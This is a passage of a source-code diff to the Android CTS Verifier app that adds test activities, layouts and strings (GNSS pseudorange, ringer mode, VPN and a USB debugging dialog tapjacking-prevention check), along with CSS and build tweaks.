+                android:value="android.hardware.type.watch" />
         </activity>
 
         <!--
@@ -291,6 +304,8 @@
             <meta-data
                 android:name="test_parent"
                 android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.watch" />
         </activity>
 
         <!--
@@ -314,6 +329,8 @@
             <meta-data
                 android:name="test_parent"
                 android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.watch" />
         </activity>
 
         <!--
@@ -337,6 +354,8 @@
             <meta-data
                 android:name="test_parent"
                 android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.watch" />
         </activity>
 
         <!--
@@ -1075,6 +1094,17 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
         </activity>
 
+        <activity android:name=".location.GnssPseudorangeVerificationTestsActivity"
+            android:label="@string/location_pseudorange_value_test"
+            android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+            <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+        </activity>
+
         <activity android:name=".location.GnssTtffTestsActivity"
             android:label="@string/location_gnss_ttff_test"
             android:screenOrientation="locked">
@@ -2082,7 +2112,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_deskclock" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.television:android.software.leanback" />
+                    android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
 <!-- TODO: enable when not requiring to tap the screen and timeouts are tuned -->
@@ -2306,6 +2336,14 @@
             </intent-filter>
         </service>
 
+        <activity android:name=".managedprovisioning.AlwaysOnVpnSettingsTestActivity"
+                android:label="@string/provisioning_byod_always_on_vpn">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
         <activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
                 android:label="@string/device_profile_owner_permission_lockdown_test">
             <intent-filter>
@@ -2533,7 +2571,6 @@
                 <action android:name="android.intent.action.WEB_SEARCH" />
                 <action android:name="android.intent.action.VIEW_DOWNLOADS" />
                 <action android:name="android.media.action.DISPLAY_AUDIO_EFFECT_CONTROL_PANEL" />
-                <action android:name="android.settings.SHOW_INPUT_METHOD_PICKER" />
                 <action android:name="android.intent.action.MANAGE_NETWORK_USAGE" />
                 <action android:name="com.android.settings.TTS_SETTINGS" />
                 <action android:name="android.settings.ZEN_MODE_SETTINGS" />
@@ -2758,6 +2795,17 @@
             </intent-filter>
         </activity>
 
+        <activity android:name=".audio.RingerModeActivity"
+                  android:label="@string/ringer_mode_tests">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.software.leanback" />
+        </activity>
+
         <activity android:name=".audio.HifiUltrasoundTestActivity"
                 android:label="@string/hifi_ultrasound_test"
                 android:screenOrientation="locked">
@@ -2828,6 +2876,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralPlayActivity"
@@ -2838,6 +2888,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralRecordActivity"
@@ -2848,6 +2900,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralButtonsActivity"
@@ -2858,6 +2912,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".audio.AudioLoopbackActivity"
@@ -3014,6 +3070,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
@@ -3036,6 +3095,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3052,6 +3114,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service android:name=".dialer.DialerCallTestService"
@@ -3076,6 +3141,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3092,6 +3160,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3108,6 +3179,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3124,6 +3198,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service
@@ -3168,6 +3245,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3184,6 +3264,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
             </activity>
 
         <activity
@@ -3200,6 +3283,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <activity
@@ -3216,6 +3302,9 @@
             <meta-data
                 android:name="test_required_features"
                 android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.css b/apps/CtsVerifier/assets/report/compatibility_result.css
index 699f45a..22eb4a9 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.css
+++ b/apps/CtsVerifier/assets/report/compatibility_result.css
@@ -14,151 +14,140 @@
 */
 
 body {
-    font-family:arial,sans-serif;
-    color:#000;
-    font-size:13px;
-    color:#333;
-    padding:10;
-    margin:10;
+  color: #333;
+  font-family: arial,sans-serif;
+  font-size: 13px;
+  margin: 10;
+  padding: 10;
 }
 
 /* Report logo and device name */
 table.title {
-    padding:5px;
-    border-width: 0px;
-    margin-left:auto;
-    margin-right:auto;
-    vertical-align:middle;
+  border-width: 0;
+  margin-left: auto;
+  margin-right: auto;
+  padding: 5px;
+  vertical-align: middle;
 }
 
 table.summary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border: 0px solid #A5C639;
-    margin-left:auto;
-    margin-right:auto;
+  background-color: #d4e9a9;
+  border: 0 solid #a5c639;
+  border-collapse: collapse;
+  margin-left: auto;
+  margin-right: auto;
 }
 
 table.summary th {
-    background-color: #A5C639;
-    font-size: 1.2em;
-    padding: 0.5em;
+  background-color: #a5c639;
+  font-size: 1.2em;
+  padding: .5em;
 }
 
 table.summary td {
-    border-width: 0px 0px 0px 0px;
-    border-color: gray;
-    border-style: inset;
-    font-size: 1em;
-    padding: 0.5em;
-    vertical-align: top;
+  border: 0 inset #808080;
+  font-size: 1em;
+  padding: .5em;
+  vertical-align: top;
 }
 
 table.testsummary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    margin-left:auto;
-    margin-right:auto;
+  background-color: #d4e9a9;
+  border-collapse: collapse;
+  margin-left: auto;
+  margin-right: auto;
 }
 
 table.testsummary th {
-    background-color: #A5C639;
-    border: 1px outset gray;
-    padding: 0.5em;
+  background-color: #a5c639;
+  border: 1px outset #808080;
+  padding: .5em;
 }
 
 table.testsummary td {
-    border: 1px outset #A5C639;
-    padding: 0.5em;
-    text-align: center;
+  border: 1px outset #a5c639;
+  padding: .5em;
+  text-align: center;
 }
 
 table.testdetails {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border-width:1;
-    border-color: #A5C639;
-    margin-left:auto;
-    margin-right:auto;
-    margin-bottom: 2em;
-    vertical-align: top;
-    width: 95%;
+  background-color: #d4e9a9;
+  border-collapse: collapse;
+  border-color: #a5c639;
+  border-width: 1;
+  margin-bottom: 2em;
+  margin-left: auto;
+  margin-right: auto;
+  vertical-align: top;
+  width: 95%;
 }
 
 table.testdetails th {
-    background-color: #A5C639;
-    border-width: 1px;
-    border-color: gray;
-    border-style: outset;
-    height: 2em;
-    padding: 0.2em;
+  background-color: #a5c639;
+  border: 1px outset #808080;
+  height: 2em;
+  padding: .2em;
 }
 
 table.testdetails td {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding: 0.2em;
+  border: 1px outset #a5c639;
+  padding: .2em;
+  text-align: left;
+  vertical-align: top;
 }
 
 table.testdetails td.module {
-    background-color: white;
-    border: 0px;
-    font-weight: bold;
+  background-color: #fff;
+  border: 0;
+  font-weight: bold;
 }
 
 /* Test cell details */
 td.failed {
-    background-color: #FA5858;
-    font-weight:bold;
-    vertical-align: top;
-    text-align: center;
+  background-color: #fa5858;
+  font-weight: bold;
+  text-align: center;
+  vertical-align: top;
 }
 
 td.failuredetails {
-    text-align: left;
+  text-align: left;
 }
 
 td.pass {
-    text-align: center;
-    margin-left:auto;
-    margin-right:auto;
+  margin-left: auto;
+  margin-right: auto;
+  text-align: center;
 }
 
 td.not_executed {
-    background-color: #A5C639;
-    vertical-align: top;
-    text-align: center;
+  background-color: #a5c639;
+  text-align: center;
+  vertical-align: top;
 }
 
 td.testname {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
+  border: 1px outset #a5c639;
+  overflow: hidden;
+  padding: 1;
+  text-align: left;
+  vertical-align: top;
 }
 
 td.testcase {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-    font-weight:bold;
+  border: 1px outset #a5c639;
+  font-weight: bold;
+  overflow: hidden;
+  padding: 1;
+  text-align: left;
+  vertical-align: top;
 }
 
 div.details {
-    white-space: pre-wrap;       /* css-3 */
-    white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
-    white-space: -pre-wrap;      /* Opera 4-6 */
-    white-space: -o-pre-wrap;    /* Opera 7 */
-    word-wrap: break-word;       /* Internet Explorer 5.5+ */
-    overflow:auto;
+  overflow: auto;
+  white-space: pre-wrap;       /* css-3 */
+  white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
+  white-space: -pre-wrap;      /* Opera 4-6 */
+  white-space: -o-pre-wrap;    /* Opera 7 */
+  word-wrap: break-word;       /* Internet Explorer 5.5+ */
 }
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index 1e43211..42e2d26 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -32,5 +32,7 @@
 LOCAL_SHARED_LIBRARIES := liblog \
 		libnativehelper_compat_libc++
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
diff --git a/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
new file mode 100644
index 0000000..518be88
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-small-dpad/widget_layout.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:layout_marginTop="@dimen/widget_margin_top"
+    android:layout_marginBottom="@dimen/widget_margin_bottom"
+    android:layout_marginLeft="@dimen/widget_margin_left"
+    android:layout_marginRight="@dimen/widget_margin_right"
+    android:padding="1dp"
+    android:background="#fff">
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:paddingLeft="4dp"
+        android:paddingTop="4dp"
+        android:paddingBottom="4dp"
+        android:paddingRight="4dp"
+        android:layout_gravity="center"
+        android:background="#fff">
+
+        <TextView
+            android:id="@+id/title"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="top|left"
+            android:layout_marginBottom="8dp"
+            android:fontFamily="sans-serif"
+            android:textSize="16sp"
+            android:text="@string/widget_name"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/instruction"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"
+            android:freezesText="true"/>
+
+        <TextView
+            android:id="@+id/data"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="12dp"
+            android:layout_gravity="center_horizontal"
+            android:fontFamily="sans-serif-light"
+            android:textSize="14sp"/>
+
+        <ListView
+            android:id="@+id/list"
+            android:layout_width="match_parent"
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:layout_marginBottom="12dp"
+            android:padding="1dp"
+            android:background="#fff"
+            android:visibility="gone"/>
+
+        <LinearLayout
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_gravity="bottom|center_horizontal"
+            android:orientation="horizontal">
+            <Button
+                android:id="@+id/fail"
+                android:layout_marginRight="8dp"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_fail" />
+            <Button
+                android:id="@+id/pass"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:minWidth="100dp"
+                android:text="@string/widget_pass" />
+        </LinearLayout>
+
+    </LinearLayout>
+</FrameLayout>
diff --git a/apps/CtsVerifier/res/layout/ci_main.xml b/apps/CtsVerifier/res/layout/ci_main.xml
index a464427..21235b0 100644
--- a/apps/CtsVerifier/res/layout/ci_main.xml
+++ b/apps/CtsVerifier/res/layout/ci_main.xml
@@ -14,26 +14,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:gravity="bottom"
-    android:orientation="vertical" >
-
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fillViewport="true"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
     <LinearLayout
-        android:layout_width="fill_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"
-        android:gravity="bottom"
-        android:orientation="horizontal" >
-
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
         <LinearLayout
-            android:layout_width="0dp"
-            android:layout_height="fill_parent"
-            android:layout_weight="2"
-            android:gravity="bottom"
-            android:orientation="vertical" >
-
+            android:layout_width="match_parent"
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:orientation="vertical">
             <TextView
                 android:id="@+id/camera_text"
                 android:layout_width="wrap_content"
@@ -76,12 +70,8 @@
                     android:enabled="false"
                     android:text="@string/ci_start_test_button_caption" />
 
+                </LinearLayout>
             </LinearLayout>
-
-        </LinearLayout>
-
+        <include layout="@layout/pass_fail_buttons" />
     </LinearLayout>
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index 794a6d6..4386392 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -9,7 +9,7 @@
     <ScrollView
         android:layout_width="match_parent"
         android:layout_height="0dp"
-        android:layout_weight="1">
+        android:layout_weight="3">
         <TextView android:id="@+id/info"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
@@ -18,15 +18,16 @@
             android:text="@string/dc_start_alarm_test_info"/>
     </ScrollView>
 
-    <LinearLayout android:id="@+id/buttons"
-        android:orientation="horizontal"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"/>
-
-    <LinearLayout
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content">
+        android:layout_height="0dp"
+        android:layout_weight="2">
 
-        <include layout="@layout/pass_fail_buttons"/>
-    </LinearLayout>
+        <LinearLayout
+            android:id="@+id/buttons"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"/>
+    </ScrollView>
+    <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 227d8d8..444bead 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -15,7 +15,7 @@
     android:orientation="vertical">
     <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
+        android:layout_height="0dp"
         android:layout_weight="2">
         <TextView
             android:id="@+id/test_instructions"
@@ -26,12 +26,12 @@
     </ScrollView>
     <Button
         android:id="@+id/prepare_test_button"
-        android:layout_width="204dip"
+        android:layout_width="wrap_content"
         android:layout_height="wrap_content"/>
     <ListView
         android:id="@+id/android:list"
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
+        android:layout_height="0dp"
         android:layout_weight="3"/>
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/tapjacking.xml b/apps/CtsVerifier/res/layout/tapjacking.xml
new file mode 100644
index 0000000..6e5ca73
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/tapjacking.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+            style="@style/RootLayoutPadding"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent">
+    <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+        <RelativeLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content" >
+            <TextView
+                    android:id="@+id/usb_tapjacking_instructions"
+                    style="@style/InstructionsSmallFont"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:layout_alignParentRight="true"
+                    android:layout_alignParentTop="true"
+                    android:text="@string/usb_tapjacking_test_instructions" />
+
+            <Button android:id="@+id/tapjacking_btn"
+                    android:text="@string/usb_tapjacking_button_text"
+                    android:layout_below="@id/usb_tapjacking_instructions"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:layout_alignParentRight="true"
+                    android:layout_marginLeft="20dip"
+                    android:layout_marginRight="20dip"/>
+        </RelativeLayout>
+
+        <include layout="@layout/pass_fail_buttons" />
+    </LinearLayout>
+</ScrollView>
+
diff --git a/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
new file mode 100644
index 0000000..6a5ba58
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/usb_tapjacking_overlay.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <TextView
+        android:id="@+id/textView"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_gravity="center"
+        android:maxWidth="350dp"
+        android:paddingLeft="20dp"
+        android:paddingRight="20dp"
+        android:paddingBottom="6dp"
+        android:paddingTop="8dp"
+        android:background="#ffffff"
+        android:text="@string/usb_tapjacking_overlay_message"
+        android:textColor="#000000"
+        android:textSize="22sp" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
index 4d7803b..cf1cc7c 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -68,23 +68,25 @@
         android:layout_height="wrap_content"
         android:text="@string/open_call_settings"/>
 
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-        <Button
-            android:id="@+id/settings_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/voicemail_hidden"/>
-        <Button
-            android:id="@+id/settings_not_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/voicemail_not_hidden"
-        />
-    </LinearLayout>
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/js_padding"
+          android:layout_marginBottom="@dimen/js_padding"
+          android:orientation="vertical">
+
+          <Button
+              android:id="@+id/settings_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/voicemail_hidden"/>
+
+          <Button
+              android:id="@+id/settings_not_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/voicemail_not_hidden"/>
+      </LinearLayout>
 
     <LinearLayout
         android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
index 9ccd909..47cd2f6 100644
--- a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -45,23 +45,25 @@
       android:layout_height="wrap_content"
       android:text="@string/open_voicemail_settings"/>
 
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-        <Button
-            android:id="@+id/settings_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/ringtone_hidden"/>
-        <Button
-            android:id="@+id/settings_not_hidden"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:text="@string/ringtone_not_hidden"
-        />
-    </LinearLayout>
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/js_padding"
+          android:layout_marginBottom="@dimen/js_padding"
+          android:orientation="vertical">
+
+          <Button
+              android:id="@+id/settings_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/ringtone_hidden"/>
+
+          <Button
+              android:id="@+id/settings_not_hidden"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/ringtone_not_hidden"/>
+      </LinearLayout>
 
     <LinearLayout
         android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/raw/john_cage.ogg b/apps/CtsVerifier/res/raw/john_cage.ogg
new file mode 100644
index 0000000..62d2335
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/john_cage.ogg
Binary files differ
diff --git a/apps/CtsVerifier/res/raw/testmp3.mp3 b/apps/CtsVerifier/res/raw/testmp3.mp3
new file mode 100755
index 0000000..657faf7
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/testmp3.mp3
Binary files differ
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 54f0705..9a97426 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -552,6 +552,7 @@
     <string name="location_gnss_measure_no_location_test">GNSS Measurement Before Location Test</string>
     <string name="location_gnss_reg_test">GNSS Measurement Registration Test</string>
     <string name="location_gnss_value_test">GNSS Measurement Values Test</string>
+    <string name="location_pseudorange_value_test">GNSS Pseudorange Test</string>
     <string name="location_gnss_ttff_test">GNSS TTFF Test</string>
     <string name="location_gnss_nav_msg_test">GNSS Navigation Message Test</string>
     <string name="location_gnss_status_test">GNSS Status Test</string>
@@ -952,6 +953,23 @@
     <string name="sample_test">Sample Test</string>
     <string name="sample_test_info">This test verifies that bluetooth sharing is working properly.\nThe test assumes the Device Under Test has bluetooth enabled and is already paired with a second device, also with bluetooth enabled.\nStart this test by clicking share, choose bluetooth from the options, and then select a device to share with.\nNote: This is a sample test, used to demonstrate how to write CTS Verifier tests, so just click pass.</string>
 
+    <!-- Strings for UsbDebuggingDialogTapjackingTest -->
+    <string name="usb_tapjacking_button_text">Show overlay</string>
+    <string name="usb_tapjacking_test">Usb Debugging Dialog Tapjacking Test</string>
+    <string name="usb_tapjacking_test_info">This test verifies that tapjacking on the usb dialog is not possible by disallowing users from accepting usb debugging pemissions when dialog is obscured.</string>
+    <string name="usb_tapjacking_test_instructions">
+        1. Connect device via usb to computer.\n
+        2. Click \"Show overlay\" button.  Settings may appear if the CTS Verifier app doesn\'t have display over apps permission.  Enable this permission and then click back to navigate back to the app.\n
+        3. Trigger USB debugging dialog (from computer terminal): \"adb shell am start -e fingerprints placeholder -e key placeholder com.android.systemui/.usb.UsbDebuggingActivity\"\n
+        4. USB debugging dialog should appear with the overlay on top saying \"This message covers the USB debugging RSA prompt\" to appear.\n
+        5. Try clicking OK. \n
+        Test pass if you cannot click OK when the text quoted above is on top of the USB debugging dialog.  Toast should appear saying there is an overlay so Settings cannot verify your response. \n
+        Note: Fake message overlay may remain on screen until you leave the test. This is working as intended. \n
+    </string>
+    <string name="usb_tapjacking_overlay_message">This message covers the USB debugging RSA prompt</string>
+    <string name="usb_tapjacking_error_toast">Please restart the application and try again.</string>
+    <string name="usb_tapjacking_error_toast2">Please enable display over apps permission for this application before proceeding.</string>
+
     <!-- Strings for Camera Orientation -->
     <string name="camera_orientation">Camera Orientation</string>
     <string name="co_info">This test verifies the orientation capabilities of
@@ -1483,11 +1501,29 @@
     <string name="attention_info">This test checks that the NotificationManagerService is
         respecting user preferences about notification ranking and filtering.
     </string>
+    <string name="ringer_mode_tests">Ringer Mode Tests</string>
+    <string name="ringer_mode_info">This test checks that Audio manager functionality that requires
+        particular ringer mode states works properly.
+    </string>
+    <string name="ringer_mode_pass_test">These tests are handled by CTS.</string>
+    <string name="test_sound_effects">Test sound effects</string>
+    <string name="test_vibrate_notification">Test vibrate notification</string>
+    <string name="test_vibrate_ringer">Test vibrate ringer</string>
